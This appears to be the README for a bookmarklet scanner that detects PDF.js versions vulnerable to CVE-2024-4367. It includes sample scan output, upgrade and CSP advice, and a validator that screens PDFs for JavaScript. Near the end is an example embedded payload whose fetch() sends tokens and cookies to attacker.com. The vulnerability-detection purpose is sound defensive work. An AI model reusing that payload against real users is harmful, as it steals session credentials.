javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script

┌─────────────────────────────────────────────────────────────┐
│                    SCAN PROCESS FLOW                        │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 LOAD SCRIPTS                                         │
│     ├─ External scripts (all <script src="">)              │
│     └─ Inline scripts (all <script> tags)                  │
│                                                             │
│  2. 🔍 EXTRACT PDF.JS VERSION                               │
│     ├─ Pattern matching in code                             │
│     ├─ Package.json detection                               │
│     └─ Node_modules path parsing                            │
│                                                             │
│  3. 🎯 IDENTIFY VULNERABILITY                               │
│     ├─ version < 4.2.67 ? → VULNERABLE                     │
│     └─ version = 2.16.105 ? → VULNERABLE                   │
│                                                             │
│  4. 🖼️ LOCATE VIEWERS                                       │
│     ├─ DOM element scanning                                 │
│     └─ Attribute detection                                 │
│                                                             │
│  5. ⚡ GENERATE POC                                         │
│     ├─ Create test PDF                                      │
│     └─ Provide download link                                │
│                                                             │
│  6. 📊 DISPLAY RESULTS                                      │
│     ├─ Visual overlay                                       │
│     ├─ Console report                                       │
│     └─ Global variable storage                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘

╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - UNIVERSAL PDF.js SCANNER                         ║
║              Detects vulnerable PDF.js versions and potential exploitation         ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
   [1/42] Analyzing: vendor.bundle.js
      → PDF.js indicator found: pdfjs-dist
      ✅ PDF.js version found: 2.16.105
      🚨 VULNERABLE to CVE-2024-4367!

🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ URL parameter accepts PDF: file=/documents/report.pdf
   ⚠️ PDF upload form found

█████████████████████████████████████████████████████████████████████████████████
                          FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████

🚨 CRITICAL VULNERABILITY CONFIRMED!
   CVE: CVE-2024-4367
   CVSS: 9.8 (CRITICAL)
   Impact: Arbitrary JavaScript Execution

┌─────────────────────────────────────────────────────────────┐
│  CVE-2024-4367 SCAN RESULTS                                │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Target: example.com                                    │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Vulnerable: YES                                        │
│  📄 Viewers: 3                                             │
│  ⚡ Vectors: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRITICAL - Upgrade Required                            │
└─────────────────────────────────────────────────────────────┘

# For Node.js projects
npm install pdfjs-dist@latest

# For CDN usage
# Update to version 4.2.67 or higher

// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

// Validate PDF files before rendering
function validatePDF(file) {
    // Check magic bytes
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Invalid PDF file');
    }
    
    // Scan for JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF contains JavaScript');
    }
}

// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

// Vulnerable versions
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Safe version
const SAFE_VERSION = '4.2.67';

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR